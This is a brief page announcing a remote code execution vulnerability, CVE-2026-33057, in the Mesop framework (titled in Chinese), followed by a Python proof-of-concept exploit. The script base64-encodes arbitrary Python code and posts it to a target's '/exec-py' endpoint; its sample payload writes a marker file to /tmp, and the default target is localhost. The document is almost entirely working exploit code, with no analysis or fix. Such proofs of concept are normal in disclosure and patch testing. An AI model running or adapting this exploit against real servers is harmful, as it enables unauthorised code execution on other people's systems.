CVE-2026-33057 Mesop框架远程代码执行漏洞

import requests import base64 def exploit(target_url): # Define the malicious Python code to execute # This example creates a file named 'pwned.txt' in /tmp malicious_code = """ import os with open('/tmp/pwned.txt', 'w') as f: f.write('Vulnerable to CVE-2026-33057') """ # Encode the payload to Base64 as required by the vulnerable endpoint encoded_payload = base64.b64encode(malicious_code.encode('utf-8')).decode('utf-8') # Prepare the POST request data data = { "code": encoded_payload } try: print(f"[+] Sending payload to {target_url}/exec-py") response = requests.post(f"{target_url}/exec-py", data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Server response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit(target)